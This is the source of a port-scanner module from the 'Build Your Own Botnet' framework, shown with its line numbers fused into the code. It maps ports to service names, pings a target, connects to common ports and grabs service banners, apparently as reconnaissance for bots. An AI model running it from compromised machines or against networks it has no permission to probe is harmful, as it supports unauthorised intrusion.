Path: blob/master/web-gui/buildyourownbotnet/modules/portscanner.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Port Scanner (Build Your Own Botnet)'34# standard libarary5import os6import sys7import json8import socket9if sys.version_info[0] > 2:10from queue import Queue11else:12from Queue import Queue13import subprocess1415# utilities16import util1718# globals19packages = []20platforms = ['win32','linux2','darwin']21results = {}22threads = {}23targets = []24tasks = Queue()25usage = 'portscanner [target]'26desciription = """27Scan a target IP/subnet for open ports and grab any service banners28"""2930ports = {31"666": {32"protocol": "doom",33"service": "#Doom Id Software"34},35"1512": {36"protocol": "wins",37"service": "#Microsoft Windows Internet Name Service"38},39"137": {40"protocol": "netbios-ns",41"service": "nbname #NETBIOS Name Service"42},43"135": {44"protocol": "epmap",45"service": "loc-srv #DCE endpoint resolution"46},47"139": {48"protocol": "netbios-ssn",49"service": "nbsession #NETBIOS Session Service"50},51"3389": {52"protocol": "ms-wbt-server",53"service": "#MS WBT Server"54},55"2525": {56"protocol": "ms-v-worlds",57"service": "#Microsoft V-Worlds"58},59"25": {60"protocol": "smtp",61"service": "mail #Simple Mail Transfer Protocol"62},63"691": {64"protocol": "msexch-routing",65"service": "#MS Exchange Routing"66},67"20": {68"protocol": "ftp-data",69"service": "#FTP, data"70},71"21": {72"protocol": "ftp",73"service": "#FTP. control"74},75"22": {76"protocol": "ssh",77"service": "#SSH Remote Login Protocol"78},79"23": {80"protocol": "telnet",81"service": ""82},83"2869": {84"protocol": "icslap",85"service": ""86},87"3126": {88"protocol": "ms-dotnetster",89"service": "#Microsoft .NET ster port"90},91"2383": {92"protocol": "ms-olap4",93"service": "#Microsoft OLAP 4"94},95"1944": {96"protocol": "close-combat",97"service": ""98},99"543": {100"protocol": "klogin",101"service": "#Kerberos login"102},103"540": {104"protocol": "uucp",105"service": "uucpd"106},107"546": {108"protocol": "dhcpv6-client",109"service": "#DHCPv6 Client"110},111"547": {112"protocol": "dhcpv6-server",113"service": "#DHCPv6 Server"114},115"544": {116"protocol": "kshell",117"service": "krcmd #Kerberos remote shell"118},119"47624": {120"protocol": "directplaysrvr",121"service": "#Direct Play Server"122},123"548": {124"protocol": "afpovertcp",125"service": "#AFP over TCP"126},127"349": {128"protocol": "mftp",129"service": ""130},131"995": {132"protocol": "pop3s",133"service": "spop3 #pop3 protocol over TLS/SSL (was spop3)"134},135"994": {136"protocol": "ircs",137"service": "#IRC protocol over TLS/SSL"138},139"2460": {140"protocol": "ms-theater",141"service": ""142},143"990": {144"protocol": "ftps",145"service": "#FTP control, over TLS/SSL"146},147"993": {148"protocol": "imaps",149"service": "#IMAP4 protocol over TLS/SSL"150},151"992": {152"protocol": "telnets",153"service": "#Telnet protocol over TLS/SSL"154},155"1155": {156"protocol": "nfa",157"service": "#Network File Access"158},159"2704": {160"protocol": "sms-remctrl",161"service": "#SMS REMCTRL"162},163"2701": {164"protocol": "sms-rcinfo",165"service": "#SMS RCINFO"166},167"2703": {168"protocol": "sms-chat",169"service": "#SMS CHAT"170},171"2702": {172"protocol": "sms-xfer",173"service": "#SMS XFER"174},175"3132": {176"protocol": "ms-rule-engine",177"service": "#Microsoft Business Rule Engine Update Service"178},179"5679": {180"protocol": "dccm",181"service": "#Direct Cable Connect Manager"182},183"53": {184"protocol": "domain",185"service": "#Domain Name Server"186},187"2394": {188"protocol": "ms-olap2",189"service": "#Microsoft OLAP 2"190},191"532": {192"protocol": "netnews",193"service": "readnews"194},195"531": {196"protocol": "conference",197"service": "chat"198},199"530": {200"protocol": "courier",201"service": "rpc"202},203"593": {204"protocol": "http-rpc-epmap",205"service": "#HTTP RPC Ep Map"206},207"989": {208"protocol": "ftps-data",209"service": "#FTP data, over TLS/SSL"210},211"3776": {212"protocol": "dvcprov-port",213"service": "#Device Provisioning Port"214},215"194": {216"protocol": "irc",217"service": "#Internet Relay Chat Protocol"218},219"88": {220"protocol": "kerberos",221"service": "krb5 kerberos-sec #Kerberos"222},223"111": {224"protocol": "sunrpc",225"service": "rpcbind portmap #SUN Remote Procedure Call"226},227"110": {228"protocol": "pop3",229"service": "#Post Office Protocol - Version 3"230},231"113": {232"protocol": "auth",233"service": "ident tap #Identification Protocol"234},235"80": {236"protocol": "http",237"service": "www www-http #World Wide Web"238},239"81": {240"protocol": "hosts2-ns",241"service": "#HOSTS2 Name Server"242},243"119": {244"protocol": "nntp",245"service": "usenet #Network News Transfer Protocol"246},247"118": {248"protocol": "sqlserv",249"service": "#SQL Services"250},251"522": {252"protocol": "ulp",253"service": ""254},255"1711": {256"protocol": "pptconference",257"service": ""258},259"3020": {260"protocol": "cifs",261"service": ""262},263"1524": {264"protocol": "ingreslock",265"service": "ingres"266},267"1270": {268"protocol": "opsmgr",269"service": "#Microsoft Operations Manager"270},271"526": {272"protocol": "tempo",273"service": "newdate"274},275"2382": {276"protocol": "ms-olap3",277"service": "#Microsoft OLAP 3"278},279"520": {280"protocol": "efs",281"service": "#Extended File Name Server"282},283"2177": {284"protocol": "qwave",285"service": "#QWAVE"286},287"7": {288"protocol": "echo",289"service": ""290},291"529": {292"protocol": "irc-serv",293"service": ""294},295"2393": {296"protocol": "ms-olap1",297"service": "#Microsoft OLAP 1"298},299"3847": {300"protocol": "msfw-control",301"service": "#Microsoft Firewall Control"302},303"3587": {304"protocol": "p2pgroup",305"service": "#Peer to Peer Grouping"306},307"443": {308"protocol": "https",309"service": "MCom #HTTP over TLS/SSL"310},311"7680": {312"protocol": "ms-do",313"service": "#Microsoft Delivery Optimization"314},315"445": {316"protocol": "microsoft-ds",317"service": ""318},319"109": {320"protocol": "pop2",321"service": "postoffice #Post Office Protocol - Version 2"322},323"102": {324"protocol": "iso-tsap",325"service": "#ISO-TSAP Class 0"326},327"389": {328"protocol": "ldap",329"service": "#Lightweight Directory Access Protocol"330},331"101": {332"protocol": "hostname",333"service": "hostnames #NIC Host Name Server"334},335"4350": {336"protocol": "net-device",337"service": "#Net Device"338},339"107": {340"protocol": "rtelnet",341"service": "#Remote Telnet Service"342},343"1434": {344"protocol": "ms-sql-m",345"service": "#Microsoft-SQL-Monitor"346},347"1433": {348"protocol": "ms-sql-s",349"service": "#Microsoft-SQL-Server"350},351"37": {352"protocol": "time",353"service": "timserver"354},355"1723": {356"protocol": "pptp",357"service": "#Point-to-point tunnelling protocol"358},359"6073": {360"protocol": "directplay8",361"service": "#DirectPlay8"362},363"513": {364"protocol": "login",365"service": "#Remote Login"366},367"512": {368"protocol": "exec",369"service": "#Remote Process Execution"370},371"515": {372"protocol": "printer",373"service": "spooler"374},375"514": {376"protocol": "cmd",377"service": "shell"378},379"3935": {380"protocol": "sdp-portmapper",381"service": "#SDP Port Mapper Protocol"382},383"9535": {384"protocol": "man",385"service": "#Remote Man Server"386},387"3269": {388"protocol": "msft-gc-ssl",389"service": "#Microsoft Global Catalog with LDAP/SSL"390},391"179": {392"protocol": "bgp",393"service": "#Border Gateway Protocol"394},395"3268": {396"protocol": "msft-gc",397"service": "#Microsoft Global Catalog"398},399"1900": {400"protocol": "ssdp",401"service": ""402},403"170": {404"protocol": "print-srv",405"service": "#Network PostScript"406},407"554": {408"protocol": "rtsp",409"service": "#Real Time Stream Control Protocol"410},411"2053": {412"protocol": "knetd",413"service": "#Kerberos de-multiplexor"414},415"1731": {416"protocol": "msiccp",417"service": ""418},419"158": {420"protocol": "pcmail-srv",421"service": "#PCMail Server"422},423"507": {424"protocol": "crs",425"service": "#Content Replication System"426},427"1034": {428"protocol": "activesync",429"service": "#ActiveSync Notifications"430},431"568": {432"protocol": "ms-shuttle",433"service": "#Microsoft shuttle"434},435"569": {436"protocol": "ms-rome",437"service": "#Microsoft rome"438},439"636": {440"protocol": "ldaps",441"service": "sldap #LDAP over TLS/SSL"442},443"464": {444"protocol": "kpasswd",445"service": "# Kerberos (v5)"446},447"563": {448"protocol": "nntps",449"service": "snntp #NNTP over TLS/SSL"450},451"565": {452"protocol": "whoami",453"service": ""454},455"1863": {456"protocol": "msnp",457"service": ""458},459"3074": {460"protocol": "xbox",461"service": "#Microsoft Xbox game port"462},463"11": {464"protocol": "systat",465"service": "users #Active users"466},467"13": {468"protocol": "daytime",469"service": ""470},471"17": {472"protocol": "qotd",473"service": "quote #Quote of the day"474},475"3882": {476"protocol": "msdts1",477"service": "#DTS Service Port"478},479"19": {480"protocol": "chargen",481"service": "ttytst source #Character generator"482},483"117": {484"protocol": "uucp-path",485"service": ""486},487"1745": {488"protocol": "remote-winsock",489"service": ""490},491"9753": {492"protocol": "rasadv",493"service": ""494},495"2106": {496"protocol": "mzap",497"service": "#Multicast-Scope Zone Announcement Protocol"498},499"1109": {500"protocol": "kpop",501"service": "#Kerberos POP"502},503"150": {504"protocol": "sql-net",505"service": ""506},507"156": {508"protocol": "sqlsrv",509"service": ""510},511"749": {512"protocol": "kerberos-adm",513"service": "#Kerberos administration"514},515"556": {516"protocol": "remotefs",517"service": "rfs rfs_server"518},519"11320": {520"protocol": "imip-channels",521"service": "#IMIP Channels Port"522},523"3535": {524"protocol": "ms-la",525"service": "#Microsoft Class Server"526},527"5678": {528"protocol": "rrac",529"service": "#Remote Replication Agent Connection"530},531"5357": {532"protocol": "wsd",533"service": "#Web Services on devices"534},535"5355": {536"protocol": "llmnr",537"service": "#LLMNR"538},539"3343": {540"protocol": "ms-cluster-net",541"service": "#Microsoft Cluster Net"542},543"5720": {544"protocol": "ms-licensing",545"service": "#Microsoft Licensing"546},547"42": {548"protocol": "nameserver",549"service": "name #Host Name Server"550},551"43": {552"protocol": "nicname",553"service": "whois"554},555"5358": {556"protocol": "wsd",557"service": "#Web Services on devices"558},559"322": {560"protocol": "rtsps",561"service": ""562},563"1110": {564"protocol": "nfsd-status",565"service": "#Cluster status info"566},567"9": {568"protocol": "discard",569"service": "sink null"570},571"1755": {572"protocol": "ms-streaming",573"service": ""574},575"2504": {576"protocol": "wlbs",577"service": "#Microsoft Windows Load Balancing Server"578},579"2725": {580"protocol": "msolap-ptp2",581"service": "#MSOLAP PTP2"582},583"143": {584"protocol": "imap",585"service": "imap4 #Internet Message Access Protocol"586},587"612": {588"protocol": "hmmp-ind",589"service": "#HMMP Indication"590},591"613": {592"protocol": "hmmp-op",593"service": "#HMMP Operation"594},595"4500": {596"protocol": "ipsec-msft",597"service": "#Microsoft IPsec NAT-T"598},599"70": {600"protocol": "gopher",601"service": ""602},603"3702": {604"protocol": "ws-discovery",605"service": "#WS-Discovery"606},607"79": {608"protocol": "finger",609"service": ""610},611"3544": {612"protocol": "teredo",613"service": "#Teredo Port"614},615"3540": {616"protocol": "pnrp-port",617"service": "#PNRP User Port"618},619"1801": {620"protocol": "msmq",621"service": "#Microsoft Message Queue"622},623"2234": {624"protocol": "directplay",625"service": "#DirectPlay"626},627"1607": {628"protocol": "stt",629"service": ""630},631"1477": {632"protocol": "ms-sna-server",633"service": ""634},635"1478": {636"protocol": "ms-sna-base",637"service": ""638},639"800": {640"protocol": "mdbs_daemon",641"service": ""642},643"3306": {644"protocol": "mysql",645"service": "#MySQL Database Server"646}647}648649650def _ping(host):651global results652try:653if host not in results:654if subprocess.call("ping -{} 1 -W 90 {}".format('n' if os.name == 'nt' else 'c', host), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True) == 0:655results[host] = {}656return True657else:658return False659else:660return True661except Exception as e:662util.log(str(e))663return False664665666@util.threaded667def _threader():668while True:669global tasks670try:671method, task = tasks.get_nowait()672if callable(method):673_ = method(task)674tasks.task_done()675except:676break677678679def _scan(target):680global ports681global results682683try:684data = None685host, port = target686sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)687sock.settimeout(1.0)688sock.connect((str(host), int(port)))689690try:691data = sock.recv(1024)692except (socket.error, socket.timeout):693pass694695sock.close()696697if data:698data = ''.join([i for i in data if i in ([chr(n) for n in range(32, 123)])])699data = data.splitlines()[0] if '\n' in data else str(data if len(str(data)) <= 80 else data[:77] + '...')700item = {str(port) : {'protocol': ports[str(port)]['protocol'], 'service': data, 'state': 'open'}}701else:702item = {str(port) : {'protocol': ports[str(port)]['protocol'], 'service': ports[str(port)]['service'], 'state': 'open'}}703704results.get(host).update(item)705706except (socket.error, socket.timeout):707pass708except Exception as e:709util.log("{} error: {}".format(_scan.__name__, str(e)))710711712def run(target='192.168.1.1', ports=[21,22,23,25,80,110,111,135,139,443,445,554,993,995,1433,1434,3306,3389,8000,8008,8080,8888]):713"""714Run a portscan against a target hostname/IP address715716`Optional`717:param str target: Valid IPv4 address718:param list ports: Port numbers to scan on target host719:returns: Results in a nested dictionary object in JSON format720721Returns onlne targets & open ports as key-value pairs in dictionary (JSON) object722723"""724global tasks725global threads726global results727if not util.ipv4(target):728raise ValueError("target is not a valid IPv4 address")729if _ping(target):730for port in ports:731tasks.put_nowait((_scan, (target, port)))732for i in range(1, tasks.qsize()):733threads['portscan-%d' % i] = _threader()734for t in threads:735threads[t].join()736return json.dumps(results[target])737else:738return "Target offline"739740741